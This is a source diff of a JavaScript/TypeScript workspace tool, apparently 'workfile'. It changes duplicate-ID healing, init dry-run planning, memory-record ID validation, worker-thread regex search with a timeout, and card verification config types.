| let next = patchFrontmatter(content, { id: newId, updated: stamp.slice(0, 10) }, { listKeys: plan.listKeys }); | ||
| // Self-mentions only when unambiguous — after a collision, prose naming the | ||
| // old ID may describe the other card. | ||
| // old ID may describe the other record. | ||
| if (!duplicated) | ||
| next = next.replace(idPattern(oldId), newId); | ||
| if (workspace.config.cards.activityTrail !== false) { | ||
| if (plan.activityTrail(workspace)) { | ||
| next = appendActivityLine(next, activityEntry(actor, `renumbered from ${oldId}`, now)); | ||
| } | ||
| // The same reservation createCard takes, so a concurrent create skips past | ||
| // this ID instead of racing for the file. | ||
| const reservation = join(workspace.paths.cache, "locks", "ids", `${newId}.lock`); | ||
| // Both creates below can lose to a concurrent allocation, and neither | ||
| // failure is a fault: the ID check above ran against an index read before | ||
| // any of this. Reported as the conflict it is, rather than as the raw | ||
| // errno, which on Windows is not even `EEXIST` — see `isCreateContention`. | ||
| // The durable create can lose to a concurrent allocation, and that is not a | ||
| // fault: the ID check above ran against an index read before any of this. | ||
| // Reported as the conflict it is, rather than as the raw errno, which on | ||
| // Windows is not even `EEXIST` — see `isCreateContention`. | ||
| const contended = (error) => { | ||
| if (!isCreateContention(error)) | ||
| throw error; | ||
| throw new ConflictError("CARD_ID_TAKEN", `${newId} was allocated by another process while renumbering.`, { contention: error.code }); | ||
| throw new ConflictError(plan.codes.taken, `${newId} was allocated by another process while renumbering.`, { contention: error.code }); | ||
| }; | ||
| await createFileExclusive(reservation, `${JSON.stringify({ id: newId, pid: process.pid, createdAt: stamp })}\n`).catch(contended); | ||
| try { | ||
@@ -120,3 +296,3 @@ await createFileExclusive(newPath, next).catch(contended); | ||
| finally { | ||
| await rm(reservation, { force: true }).catch(() => undefined); | ||
| await held.release(); | ||
| } | ||
@@ -126,8 +302,8 @@ const protocolRoot = `${normalizeRepoPath(workspace.config.storage.root)}/`; | ||
| const review = []; | ||
| const movedPath = normalizeRepoPath(`${card.archived ? workspace.config.cards.archivePath : workspace.config.cards.path}/${card.file}`); | ||
| for (const record of index.records) { | ||
| const path = normalizeRepoPath(record.path); | ||
| const movedPath = normalizeRepoPath(record.path); | ||
| for (const candidate of index.records) { | ||
| const path = normalizeRepoPath(candidate.path); | ||
| if (path === movedPath) | ||
| continue; | ||
| if (!record.outgoing?.some((link) => link.id === oldId)) | ||
| if (!candidate.outgoing?.some((link) => link.id === oldId)) | ||
| continue; | ||
@@ -149,4 +325,6 @@ if (duplicated || !path.startsWith(protocolRoot)) { | ||
| from: oldId, | ||
| kind: record.kind, | ||
| file: newFile, | ||
| path: newPath, | ||
| repoPath: normalizeRepoPath(relative(workspace.root, newPath)), | ||
| rewritten, | ||
@@ -156,39 +334,48 @@ review | ||
| } | ||
| /** Moves one card to a fresh ID. Every error code it ever threw is unchanged. */ | ||
| export async function renumberCard(workspace, target, options = {}) { | ||
| return renumberRecord(workspace, target, { ...options, kind: "card" }); | ||
| } | ||
| /** | ||
| * Heals every duplicate card ID in one pass. | ||
| * Heals every duplicate record ID in one pass. | ||
| * | ||
| * The card that keeps the ID is chosen deterministically — oldest `created`, | ||
| * then lexicographically smallest path — so both sides of a merge converge on | ||
| * the same repair without coordinating. Duplicates outside the cards tree are | ||
| * reported, not touched: docs derive IDs from paths and memory collections | ||
| * have their own conventions this routine has no business rewriting. | ||
| * The record that keeps the ID is chosen by `classifyDuplicates` — the same | ||
| * verdict `doctor` prints — so both sides of a merge converge on the same | ||
| * repair without coordinating. A collision nothing can repair is returned | ||
| * carrying the reason, because a sweep that drops what it did not fix reads as | ||
| * a clean run. | ||
| * | ||
| * `kinds` scopes the sweep. `card renumber --duplicates` passes `["card"]`, so | ||
| * a command under the `card` word never moves a changelog fragment. | ||
| */ | ||
| export async function healDuplicateCardIds(workspace, { actor = null, now } = {}) { | ||
| export async function healDuplicateRecordIds(workspace, { actor = null, now, kinds = null } = {}) { | ||
| ensureWritable(workspace); | ||
| const index = await buildProjectIndex(workspace); | ||
| const cardsRoot = `${normalizeRepoPath(workspace.config.cards.path)}/`; | ||
| const moves = []; | ||
| const skipped = []; | ||
| for (const duplicate of index.duplicates || []) { | ||
| const paths = [...duplicate.paths].map((path) => normalizeRepoPath(path)); | ||
| if (!paths.every((path) => path.startsWith(cardsRoot))) { | ||
| for (const duplicate of classifyDuplicates(index)) { | ||
| if (!duplicate.healable) { | ||
| skipped.push({ | ||
| id: duplicate.id, | ||
| paths, | ||
| reason: "not-cards" | ||
| kind: duplicate.kind, | ||
| paths: duplicate.paths, | ||
| reason: String(duplicate.reason), | ||
| reasonText: String(duplicate.reasonText) | ||
| }); | ||
| continue; | ||
| } | ||
| const entries = await Promise.all(paths.map(async (path) => { | ||
| const raw = await readFile(join(workspace.root, path), "utf8"); | ||
| const parsed = parseFrontmatter(raw, { listKeys: CARD_LIST_KEYS }); | ||
| return { | ||
| path, | ||
| created: String(parsed?.metadata?.created || "") | ||
| }; | ||
| })); | ||
| entries.sort((left, right) => left.created.localeCompare(right.created) || | ||
| left.path.localeCompare(right.path)); | ||
| for (const loser of entries.slice(1)) { | ||
| const move = await renumberCard(workspace, basename(loser.path), { | ||
| if (kinds && !kinds.includes(duplicate.kind)) { | ||
| skipped.push({ | ||
| id: duplicate.id, | ||
| kind: duplicate.kind, | ||
| paths: duplicate.paths, | ||
| reason: "out-of-scope", | ||
| reasonText: `this sweep is scoped to ${kinds.join(" and ")} records; ` + | ||
| "run `workfile doctor --fix` to heal it" | ||
| }); | ||
| continue; | ||
| } | ||
| for (const mover of duplicate.movers) { | ||
| const move = await renumberRecord(workspace, mover, { | ||
| kind: duplicate.kind, | ||
| actor, | ||
@@ -200,3 +387,5 @@ now | ||
| to: move.id, | ||
| kind: move.kind, | ||
| file: move.file, | ||
| path: move.repoPath, | ||
| review: move.review | ||
@@ -208,2 +397,6 @@ }); | ||
| } | ||
| /** Heals duplicate card IDs and reports every other collision under `skipped`. */ | ||
| export async function healDuplicateCardIds(workspace, options = {}) { | ||
| return healDuplicateRecordIds(workspace, { ...options, kinds: ["card"] }); | ||
| } | ||
| /** | ||
@@ -210,0 +403,0 @@ * Renames cards whose filename no longer matches their title. |
@@ -31,8 +31,4 @@ export declare function inspectRepository(rootInput: any): Promise<{ | ||
| config: import("../../types.js").ProjectConfig; | ||
| actions: { | ||
| type: string; | ||
| path: string; | ||
| status: string; | ||
| }[]; | ||
| conflicts: string[]; | ||
| actions: any[]; | ||
| conflicts: any[]; | ||
| summary: { | ||
@@ -49,2 +45,10 @@ directories: number; | ||
| files: any[]; | ||
| generated: any; | ||
| agents: any; | ||
| ci: any; | ||
| } | { | ||
| generated?: undefined; | ||
| root: any; | ||
| dryRun: boolean; | ||
| files: any[]; | ||
| agents: { | ||
@@ -84,8 +88,4 @@ version: any; | ||
| config: import("../../types.js").ProjectConfig; | ||
| actions: { | ||
| type: string; | ||
| path: string; | ||
| status: string; | ||
| }[]; | ||
| conflicts: string[]; | ||
| actions: any[]; | ||
| conflicts: any[]; | ||
| summary: { | ||
@@ -102,2 +102,10 @@ directories: number; | ||
| files: any[]; | ||
| generated: any; | ||
| agents: any; | ||
| ci: any; | ||
| } | { | ||
| generated?: undefined; | ||
| root: any; | ||
| dryRun: boolean; | ||
| files: any[]; | ||
| agents: { | ||
@@ -104,0 +112,0 @@ version: any; |
| import { readFile } from "node:fs/promises"; | ||
| import { mkdir, readdir } from "node:fs/promises"; | ||
| import { basename, join, resolve } from "node:path"; | ||
| import { basename, dirname, join, resolve } from "node:path"; | ||
| import { defineProject } from "../../config/define-project.js"; | ||
@@ -8,4 +8,4 @@ import { ConflictError, ValidationError } from "../../core/errors.js"; | ||
| import { loadWorkspace } from "../../workspace/load-workspace.js"; | ||
| import { syncAgentInstructions } from "../agents/index.js"; | ||
| import { syncCiTemplates } from "../ci/index.js"; | ||
| import { agentArtifactPaths, syncAgentInstructions } from "../agents/index.js"; | ||
| import { ciArtifactPaths, syncCiTemplates } from "../ci/index.js"; | ||
| import { exists } from "../../core/fs-utils.js"; | ||
@@ -129,3 +129,2 @@ import { detectPackageManager } from "../../core/package-manager.js"; | ||
| name: ${JSON.stringify(config.name)}, | ||
| language: ${JSON.stringify(config.language)}, | ||
| cards: { | ||
@@ -174,2 +173,30 @@ areas: ${js(config.cards.areas, 8)} | ||
| } | ||
| /** | ||
| * Every directory `init` will make, not only the ones it names. | ||
| * | ||
| * `mkdir(recursive)` creates the parents too, and writing a managed file | ||
| * creates the directory it lives in — `.github/workflows` for the CI template, | ||
| * `.cursor/rules` for that adapter. A plan listing only the leaves of its own | ||
| * list promised 14 directories for a run that made 19, and 21 once a CI target | ||
| * was selected. `--dry-run` is the one command whose entire purpose is to be | ||
| * accurate before anything is written. | ||
| * | ||
| * The walk stops at the root rather than counting it: `init` runs inside a | ||
| * directory that already exists, and the plan describes the workspace it puts | ||
| * there. | ||
| */ | ||
| function withParents(root, paths) { | ||
| const all = new Set(); | ||
| for (const path of paths) { | ||
| let current = path; | ||
| while (current !== root && current.startsWith(root)) { | ||
| all.add(current); | ||
| const parent = dirname(current); | ||
| if (parent === current) | ||
| break; | ||
| current = parent; | ||
| } | ||
| } | ||
| return [...all].sort(); | ||
| } | ||
| export async function planInitialization(rootInput, options = {}) { | ||
@@ -184,3 +211,2 @@ const detected = await inspectRepository(rootInput); | ||
| name: options.name || detected.name, | ||
| language: options.language || "en", | ||
| cards: { areas: options.areas?.length ? options.areas : detected.areas }, | ||
@@ -194,3 +220,11 @@ docs: { sources: options.docs?.length ? options.docs : detected.docs }, | ||
| const protocolRoot = join(root, config.storage.root); | ||
| const dirs = [ | ||
| // The managed surfaces, written by `syncAgentInstructions` and | ||
| // `syncCiTemplates` once the workspace loads. Named here so the plan can | ||
| // count them and so their directories — `.github/workflows`, | ||
| // `.cursor/rules` — are counted with everything else. | ||
| const generated = [ | ||
| ...agentArtifactPaths(root, config), | ||
| ...ciArtifactPaths(root, config) | ||
| ]; | ||
| const dirs = withParents(root, [ | ||
| join(protocolRoot, "cards", "archive"), | ||
@@ -203,7 +237,23 @@ join(protocolRoot, "assets"), | ||
| join(protocolRoot, "agents", "workflows"), | ||
| join(protocolRoot, "sources"), | ||
| // `specs`, not `sources`. The generated config indexes | ||
| // `.project/specs/**/*.md` and nothing names `.project/sources`, so | ||
| // creating the second and not the first left the one directory a | ||
| // document was configured to live in missing, and an empty one nobody | ||
| // was pointed at present. Both are optional under the spec; this is | ||
| // the one the workspace it ships with refers to. | ||
| join(protocolRoot, "specs"), | ||
| join(protocolRoot, "migrations"), | ||
| join(protocolRoot, ".cache") | ||
| ]; | ||
| const actions = dirs.map((path) => ({ type: "directory", path, status: "create" })); | ||
| join(protocolRoot, ".cache"), | ||
| ...generated.map((path) => dirname(path)) | ||
| ]); | ||
| const actions = []; | ||
| for (const path of dirs) { | ||
| // A re-run over an existing workspace creates fewer of them, and the | ||
| // plan is about this run rather than about a clean checkout. | ||
| actions.push({ | ||
| type: "directory", | ||
| path, | ||
| status: (await exists(path)) ? "exists" : "create" | ||
| }); | ||
| } | ||
| const configPath = join(root, "project.config.mjs"); | ||
@@ -237,2 +287,12 @@ const configExists = await exists(configPath); | ||
| } | ||
| // Planned here so the dry run names them, left to the sync so a managed | ||
| // block still has exactly one writer. | ||
| for (const path of generated) { | ||
| actions.push({ | ||
| type: "generated", | ||
| path, | ||
| status: (await exists(path)) ? "update" : "create", | ||
| kind: "managed" | ||
| }); | ||
| } | ||
| return { | ||
@@ -245,4 +305,4 @@ root, | ||
| summary: { | ||
| directories: dirs.length, | ||
| files: actions.filter((action) => action.type === "file").length, | ||
| directories: actions.filter((action) => action.type === "directory" && action.status === "create").length, | ||
| files: actions.filter((action) => action.type !== "directory" && action.status !== "unchanged").length, | ||
| agents: config.agents.targets, | ||
@@ -265,2 +325,6 @@ ci: config.ci.targets | ||
| } | ||
| // Planned above so the dry run can name them, written by the syncs | ||
| // below: a managed block has one writer. | ||
| if (action.type === "generated") | ||
| continue; | ||
| if (action.status === "unchanged") { | ||
@@ -279,3 +343,12 @@ results.push({ path: action.path, status: "unchanged", type: "file" }); | ||
| if (options.dryRun) { | ||
| return { root: plan.root, dryRun: true, files: results, agents: null, ci: null }; | ||
| return { | ||
| root: plan.root, | ||
| dryRun: true, | ||
| files: results, | ||
| generated: plan.actions | ||
| .filter((action) => action.type === "generated") | ||
| .map((action) => action.path), | ||
| agents: null, | ||
| ci: null | ||
| }; | ||
| } | ||
@@ -282,0 +355,0 @@ const workspace = await loadWorkspace({ root: plan.root }); |
@@ -13,3 +13,3 @@ export declare const MEMORY_LIST_KEYS: Set<string>; | ||
| record: { | ||
| id: any; | ||
| id: string; | ||
| kind: string; | ||
@@ -16,0 +16,0 @@ recordType: any; |
@@ -8,3 +8,3 @@ import { readFile, rm } from "node:fs/promises"; | ||
| import { ConflictError, NotFoundError, ValidationError } from "../../core/errors.js"; | ||
| import { DEFAULT_LIST_KEYS, parseFrontmatter, patchFrontmatter, requireFrontmatter, serializeValue } from "../../core/frontmatter.js"; | ||
| import { DEFAULT_LIST_KEYS, parseFrontmatter, patchFrontmatter, renderFrontmatterEntry, requireFrontmatter } from "../../core/frontmatter.js"; | ||
| import { withFileLock } from "../../core/locks.js"; | ||
@@ -56,3 +56,3 @@ import { revisionForContent } from "../../core/revision.js"; | ||
| function renderRecord(metadata, body = "") { | ||
| const lines = Object.entries(metadata).map(([key, value]) => `${key}: ${serializeValue(key, value, MEMORY_LIST_KEYS)}`); | ||
| const lines = Object.entries(metadata).flatMap(([key, value]) => renderFrontmatterEntry(key, value, { listKeys: MEMORY_LIST_KEYS })); | ||
| return `---\n${lines.join("\n")}\n---\n\n${String(body).trim()}\n`; | ||
@@ -67,2 +67,23 @@ } | ||
| } | ||
| /** | ||
| * The one field a loaded record cannot be missing. | ||
| * | ||
| * Every other absent field is `doctor`'s business: the record still loads and | ||
| * the report names it. `id` is different because `loadMemory` sorts on it, so | ||
| * a hand-edited file with no `id:` line threw `TypeError: Cannot read | ||
| * properties of undefined (reading 'localeCompare')` out of the sort — after | ||
| * every file had been read, killing the whole load and with it `doctor`, the | ||
| * server and every command, naming neither the file nor the field. Refusing | ||
| * the record here puts it where every other malformed record already goes: | ||
| * `unreadable`, with its path, and the rest of the collection still loads. | ||
| */ | ||
| function requireRecordId(metadata, repoPath) { | ||
| const id = typeof metadata.id === "string" ? metadata.id.trim() : metadata.id; | ||
| // A bare `id:` parses to no key at all and `id: ""` to the empty string; | ||
| // anything non-scalar arrives as an object. None of them sort. | ||
| if (typeof id !== "string" || !id) { | ||
| throw new ValidationError("MEMORY_ID_REQUIRED", `Memory record has no id: ${repoPath}`); | ||
| } | ||
| return id; | ||
| } | ||
| function normalizeMemory({ collection, file, repoPath, content }) { | ||
@@ -75,3 +96,3 @@ const parsed = parseFrontmatter(content, { listKeys: MEMORY_LIST_KEYS }); | ||
| return { | ||
| id: metadata.id, | ||
| id: requireRecordId(metadata, repoPath), | ||
| kind: "memory", | ||
@@ -78,0 +99,0 @@ recordType: collection, |
@@ -75,3 +75,9 @@ import { createHash } from "node:crypto"; | ||
| ])); | ||
| const sourceArchiveRoot = join(workspace.paths.protocolRoot, "sources", "legacy-planning"); | ||
| // `paths.sources`, which resolves to exactly what `protocolRoot` + the | ||
| // literal produced — this changes no path and fixes no bug. It is here so | ||
| // that grepping `paths.sources` finds its one writer: rebuilt from | ||
| // `protocolRoot`, the entry read as a directory the package resolves and | ||
| // then forgets about, and cost a reader ten minutes proving otherwise | ||
| // ([[T-0180]]). | ||
| const sourceArchiveRoot = join(workspace.paths.sources, "legacy-planning"); | ||
| for (const relativePath of files) { | ||
@@ -147,3 +153,3 @@ const normalized = normalizeRepoPath(relativePath); | ||
| const conflicts = actions.filter((action) => action.status === "conflict"); | ||
| const statePath = join(workspace.paths.protocolRoot, "migrations", "legacy-planning.json"); | ||
| const statePath = join(workspace.paths.migrations, "legacy-planning.json"); | ||
| return { | ||
@@ -150,0 +156,0 @@ version: 1, |
@@ -811,2 +811,10 @@ import { posix, resolve } from "node:path"; | ||
| ...(record.area ? { area: record.area } : {}), | ||
| // The two card axes the shell's filter strip offers that a node | ||
| // could not answer for. Workflow renders that strip and could not | ||
| // apply it, and two of its five axes were missing from the payload | ||
| // rather than merely unused ([[T-0191]]). Present on cards alone, | ||
| // and omitted when absent, so the graph projection stays the small | ||
| // one its comment above promises. | ||
| ...(record.priority ? { priority: record.priority } : {}), | ||
| ...(record.milestone ? { milestone: record.milestone } : {}), | ||
| ...(record.archived ? { archived: true } : {}), | ||
@@ -813,0 +821,0 @@ edges: (record.outgoing || []) |
@@ -0,1 +1,2 @@ | ||
| import { Worker } from "node:worker_threads"; | ||
| import { ValidationError } from "../../core/errors.js"; | ||
@@ -34,36 +35,74 @@ import { projectRecord, searchProjectRecords } from "../records/public.js"; | ||
| } | ||
| function countMatches(matcher, text) { | ||
| if (!text) | ||
| return 0; | ||
| matcher.lastIndex = 0; | ||
| return [...text.matchAll(matcher)].length; | ||
| /** | ||
| * How long a user's pattern may run before the thread carrying it is ended. | ||
| * | ||
| * The same scan takes 5.4ms in-process over 250 records and 508KB, so this is | ||
| * roughly 370× the work a real query does. It is a ceiling on the pathological | ||
| * case, not a budget anything normal approaches — and it is generous on | ||
| * purpose, because the cost of being wrong is refusing somebody's legitimate | ||
| * search, while the cost of being slow is two seconds before an error. | ||
| */ | ||
| const REGEX_DEADLINE_MS = 2_000; | ||
| /** | ||
| * Runs the user's expression somewhere it can be stopped. | ||
| * | ||
| * V8 has no step budget and no regex timeout, so a pattern that has begun | ||
| * backtracking cannot be interrupted — the thread is the only unit of work | ||
| * with a stop button on it. `terminate()` is therefore not an optimisation | ||
| * here, it is the entire mechanism ([[T-0190]]). | ||
| * | ||
| * Spawned per regex query rather than pooled: it costs ~50ms of startup and | ||
| * structured clone, only a `/pattern/flags` query pays it, and a pool would | ||
| * have to answer what happens to the pooled thread after a termination — which | ||
| * is a lifecycle to get wrong in exchange for milliseconds nobody is waiting | ||
| * on. | ||
| */ | ||
| async function scanWithDeadline(matcher, records) { | ||
| const worker = new Worker(new URL("./regex-scan.js", import.meta.url), { | ||
| workerData: { | ||
| source: matcher.source, | ||
| flags: matcher.flags, | ||
| excerptLength: REGEX_EXCERPT_LENGTH, | ||
| records | ||
| } | ||
| }); | ||
| let timer; | ||
| try { | ||
| return await new Promise((resolve, reject) => { | ||
| timer = setTimeout(() => { | ||
| reject(new ValidationError("SEARCH_REGEX_TIMEOUT", `The pattern did not finish within ${REGEX_DEADLINE_MS}ms. ` + | ||
| `Nested quantifiers such as \`(a+)+\` can take longer than ` + | ||
| `the age of the universe on ordinary input.`)); | ||
| }, REGEX_DEADLINE_MS); | ||
| worker.once("message", resolve); | ||
| worker.once("error", reject); | ||
| // A worker that ends without answering is a failure, not an empty | ||
| // result — otherwise a crash reads as "nothing matched". | ||
| worker.once("exit", (code) => reject(new ValidationError("SEARCH_REGEX_FAILED", `The pattern scan ended without a result (exit ${code}).`))); | ||
| }); | ||
| } | ||
| finally { | ||
| clearTimeout(timer); | ||
| // Unconditional: on the deadline this is what stops the match, and on | ||
| // success it reclaims a thread that has nothing left to do. | ||
| await worker.terminate(); | ||
| } | ||
| } | ||
| /** The line containing the first body match, trimmed to excerpt length. */ | ||
| function matchedLine(matcher, body) { | ||
| if (!body) | ||
| return null; | ||
| matcher.lastIndex = 0; | ||
| const match = matcher.exec(body); | ||
| if (!match) | ||
| return null; | ||
| const start = body.lastIndexOf("\n", match.index) + 1; | ||
| const end = body.indexOf("\n", match.index); | ||
| const line = body | ||
| .slice(start, end === -1 ? body.length : end) | ||
| .replace(/\s+/g, " ") | ||
| .trim(); | ||
| return line.length > REGEX_EXCERPT_LENGTH | ||
| ? `${line.slice(0, REGEX_EXCERPT_LENGTH).trimEnd()}…` | ||
| : line; | ||
| } | ||
| function searchRecordsByRegex(candidates, matcher, { limit, offset, view, fields }) { | ||
| async function searchRecordsByRegex(candidates, matcher, { limit, offset, view, fields }) { | ||
| // Capped before the clone, not after: the cap is what the scan is allowed | ||
| // to read, and sending the whole body would pay for bytes nobody reads. | ||
| const scannable = candidates.map((record) => ({ | ||
| id: String(record.id || ""), | ||
| title: String(record.title || ""), | ||
| body: String(record.body || "").slice(0, REGEX_BODY_CAP) | ||
| })); | ||
| const scanned = await scanWithDeadline(matcher, scannable); | ||
| const ranked = candidates | ||
| .map((record) => { | ||
| const body = String(record.body || "").slice(0, REGEX_BODY_CAP); | ||
| const titleMatches = countMatches(matcher, String(record.title || "")); | ||
| const matchCount = countMatches(matcher, String(record.id || "")) + | ||
| titleMatches + | ||
| countMatches(matcher, body); | ||
| return { record, body, titleMatches, matchCount }; | ||
| }) | ||
| .map((record, at) => ({ | ||
| record, | ||
| body: scannable[at].body, | ||
| titleMatches: scanned[at].titleMatches, | ||
| matchCount: scanned[at].matchCount, | ||
| line: scanned[at].line | ||
| })) | ||
| .filter(({ matchCount }) => matchCount > 0) | ||
@@ -77,10 +116,9 @@ .sort((left, right) => Number(right.titleMatches > 0) - Number(left.titleMatches > 0) || | ||
| .slice(offset, offset + limit) | ||
| .map(({ record, body, matchCount }) => { | ||
| .map(({ record, matchCount, line }) => { | ||
| const projected = projectRecord({ ...record, searchScore: matchCount }, view, fields); | ||
| // Where the projection carries an excerpt, show the matched | ||
| // line instead of the head of the body. | ||
| if (projected.excerpt !== undefined) { | ||
| const line = matchedLine(matcher, body); | ||
| if (line) | ||
| projected.excerpt = line; | ||
| // line instead of the head of the body. Computed in the worker | ||
| // alongside the counts, because it runs the same expression. | ||
| if (projected.excerpt !== undefined && line) { | ||
| projected.excerpt = line; | ||
| } | ||
@@ -87,0 +125,0 @@ return projected; |
@@ -21,2 +21,7 @@ /** | ||
| }[]; | ||
| binary: { | ||
| running: any; | ||
| local: string; | ||
| mismatched: boolean; | ||
| }; | ||
| }>; |
@@ -156,4 +156,40 @@ import { readFile } from "node:fs/promises"; | ||
| surfaces, | ||
| orphans: await orphanBlocks(workspace) | ||
| orphans: await orphanBlocks(workspace), | ||
| binary: await binaryAgreement(workspace, installed) | ||
| }; | ||
| } | ||
| /** | ||
| * The binary doing the upgrading, against the one the workspace will run. | ||
| * | ||
| * The docs recommend installing as a devDependency; the update instructions in | ||
| * circulation are `pnpm i -g @illodev/workfile` and `wf upgrade`. Run that way | ||
| * the global binary regenerates every managed file and stamps its own version | ||
| * into headers the local hooks and MCP server will never match — and the | ||
| * surface reports current throughout, because the stamp is provenance and the | ||
| * content is whatever the newer binary generates. | ||
| * | ||
| * Both halves are knowable at the moment of the upgrade: this process knows | ||
| * its version, and the workspace's copy states its own. So the command says | ||
| * so, rather than leaving it to be found through symptoms that look like | ||
| * anything else. | ||
| */ | ||
| async function binaryAgreement(workspace, installed) { | ||
| const path = join(workspace.root, "node_modules", "@illodev", "workfile", "package.json"); | ||
| if (!(await exists(path))) { | ||
| // Not a mismatch: a workspace with no local copy runs this one, and | ||
| // the generated registration says `npx` for exactly that reason. | ||
| return { running: installed, local: null, mismatched: false }; | ||
| } | ||
| let local = null; | ||
| try { | ||
| local = JSON.parse(await readFile(path, "utf8")).version || null; | ||
| } | ||
| catch { | ||
| local = null; | ||
| } | ||
| return { | ||
| running: installed, | ||
| local, | ||
| mismatched: Boolean(local && local !== installed) | ||
| }; | ||
| } |
+77
-2
@@ -30,3 +30,23 @@ export type CardStatus = "backlog" | "next" | "doing" | "review" | "blocked" | "deferred" | "done" | "discarded"; | ||
| tags: string[]; | ||
| /** | ||
| * What this project will let a card's `verify` block run, and what it will | ||
| * accept as proof at `done`. | ||
| * | ||
| * `commands` is a list of argument-vector prefixes, empty by default: a | ||
| * project that declares nothing can run nothing. `methods` maps an area — | ||
| * or `*`, which answers for every area the map does not name, including | ||
| * ones added after the policy was written — to the methods it accepts. | ||
| * | ||
| * Under `cards` rather than `ci` because `ci.enabled: false` is a legal | ||
| * config, and a control a module toggle can switch off is a control that | ||
| * fails open. | ||
| */ | ||
| verification: ProjectVerificationConfig; | ||
| } | ||
| export interface ProjectVerificationConfig { | ||
| commands: string[][]; | ||
| /** How long one declared command may run before it is cut off. */ | ||
| timeoutSeconds: number; | ||
| methods: Record<string, VerificationMethod[]>; | ||
| } | ||
| export type DocumentLayout = "flat" | "kind"; | ||
@@ -103,3 +123,2 @@ export interface ProjectDocsConfig { | ||
| name: string; | ||
| language: string; | ||
| storage: ProjectStorageConfig; | ||
@@ -119,3 +138,12 @@ cards: ProjectCardsConfig; | ||
| } : T; | ||
| export type ProjectConfigInput = DeepPartial<ProjectConfig>; | ||
| export type ProjectConfigInput = DeepPartial<ProjectConfig> & { | ||
| /** | ||
| * @deprecated Read by nothing since ADR-0012, which removed the localized | ||
| * protocol surface. It stays on the input type because `init` wrote it into | ||
| * every `project.config.mjs` it generated before 0.6.x, and a typed config | ||
| * that still declares it must keep compiling — the same reason the loader | ||
| * accepts it. Setting it has no effect. | ||
| */ | ||
| language?: string; | ||
| }; | ||
| export interface ProjectWorkspacePaths { | ||
@@ -154,2 +182,4 @@ root: string; | ||
| axes: Record<string, string[]>; | ||
| /** What a card may run, and what counts as proof at `done`. */ | ||
| verification: ProjectVerificationConfig; | ||
| }; | ||
@@ -266,3 +296,42 @@ docs: { | ||
| claimed_at?: string; | ||
| /** | ||
| * Commands that prove this card's criteria, per ADR-0016. | ||
| * | ||
| * `run` is an argument vector rather than a shell line, and that is what | ||
| * makes the project's allowlist mean anything: the array the matcher | ||
| * compares is the one the operating system receives, with no shell parse in | ||
| * between, so a prefix match is element-wise equality rather than a | ||
| * prediction about what a shell would do with the rest of the line. | ||
| * | ||
| * `criteria` holds digests of the criterion text each command proves. A | ||
| * criterion named here is machine-owned and `card ac --check` refuses it. | ||
| */ | ||
| verify?: CardVerifyEntry[]; | ||
| /** Written by the gate when the card reaches `done`, cleared when it leaves. */ | ||
| verified?: CardVerification; | ||
| } | ||
| export interface CardVerifyEntry { | ||
| id: string; | ||
| run: string[]; | ||
| criteria?: string[]; | ||
| } | ||
| /** | ||
| * How a card was shown to be done. | ||
| * | ||
| * The tiers carry more weight than the digest does. `local` ran on the author's | ||
| * machine and stays self-reported, `ci` has a witness, `manual` is legitimate | ||
| * for a criterion no command expresses but must be labelled rather than left | ||
| * indistinguishable from a green test, and `forced` is a gate that was waived. | ||
| */ | ||
| export type VerificationMethod = "local" | "ci" | "manual" | "forced"; | ||
| export interface CardVerification { | ||
| at: string; | ||
| method: VerificationMethod; | ||
| /** Absent when the workspace is not a git repository. */ | ||
| commit?: string; | ||
| /** The run that witnessed it — a CI run URL, for `method: ci`. */ | ||
| run?: string; | ||
| /** Over the criteria region and the `verify` block, and nothing else. */ | ||
| digest?: string; | ||
| } | ||
| export interface DocumentRecord extends BaseProjectRecord { | ||
@@ -407,2 +476,8 @@ kind: "doc"; | ||
| reason?: string; | ||
| /** How this close was proved; recorded in `verified` when the card reaches `done`. */ | ||
| method?: VerificationMethod; | ||
| /** The witness for it — a CI run URL. */ | ||
| run?: string; | ||
| /** Prose a `manual` close is refused without: what was checked, and how. */ | ||
| evidence?: string; | ||
| } | ||
@@ -409,0 +484,0 @@ export interface RecordMutationResult<RecordType extends ProjectRecord> { |
@@ -9,2 +9,3 @@ import { readFile } from "node:fs/promises"; | ||
| import { CARD_EFFORTS, CARD_PRIORITIES, CARD_STATUSES, CARD_TYPES, MEMORY_DEFINITIONS, SCHEMA_VERSION } from "../config/defaults.js"; | ||
| import { verifyTimeoutSeconds } from "../modules/cards/validation.js"; | ||
| import { discoverWorkspaceRoot } from "./discover.js"; | ||
@@ -35,2 +36,6 @@ import { exists } from "../core/fs-utils.js"; | ||
| migrations: inside(root, `${config.storage.root}/migrations`, "storage.migrations"), | ||
| // Long-form raw inputs (SPEC §15), and the only writer is `migrate | ||
| // legacy` filing away what it could not classify. `init` does not | ||
| // create it: the spec says optional directories need not exist until | ||
| // first use, and unlike `specs/` no generated config names this one. | ||
| sources: inside(root, `${config.storage.root}/sources`, "storage.sources"), | ||
@@ -44,3 +49,57 @@ // Tracked, not cached. A baseline under `storage.cache` would be | ||
| } | ||
| /** | ||
| * What a project declares about verification, for the schema. | ||
| * | ||
| * Both halves, because an agent asking "how do I close a card here" needs the | ||
| * commands it may name as much as the methods its area accepts, and reporting | ||
| * one under a key called `verification` would misdescribe the config it is | ||
| * reporting. | ||
| * | ||
| * `config` is still read untyped, and now for a narrower reason than when this | ||
| * was written: `cards.verification` is a field of `ProjectCardsConfig`, but a | ||
| * config module loaded from the repository is arbitrary JavaScript, so what | ||
| * arrives here has been validated rather than typed. The methods are narrowed | ||
| * on the way out because `validateVerificationCommands` has already refused | ||
| * anything outside the vocabulary — this is the boundary where a checked fact | ||
| * becomes a typed one. | ||
| */ | ||
| function verificationSchema(config) { | ||
| const declared = config?.cards?.verification || {}; | ||
| return { | ||
| commands: (Array.isArray(declared.commands) ? declared.commands : []).map((argv) => [...argv]), | ||
| // Reported for the same reason the commands are: an agent deciding | ||
| // whether to run `card verify` at all wants to know how long it may be | ||
| // waiting, and the alternative is finding out by being cut off. Read | ||
| // through the same function the runner uses, wrapped in the workspace | ||
| // shape it expects, so "declared or default" is decided once. | ||
| timeoutSeconds: verifyTimeoutSeconds({ config }), | ||
| methods: Object.fromEntries(Object.entries(declared.methods || {}).map(([area, methods]) => [ | ||
| area, | ||
| [...methods] | ||
| ])) | ||
| }; | ||
| } | ||
| export function effectiveSchema(config) { | ||
| // Bound rather than written inline so the extra key above is a widening of | ||
| // this value's own type instead of an excess property on a fresh literal. | ||
| const cards = { | ||
| statuses: [...CARD_STATUSES], | ||
| types: [...CARD_TYPES], | ||
| priorities: [...CARD_PRIORITIES], | ||
| efforts: [...CARD_EFFORTS], | ||
| areas: [...config.cards.areas], | ||
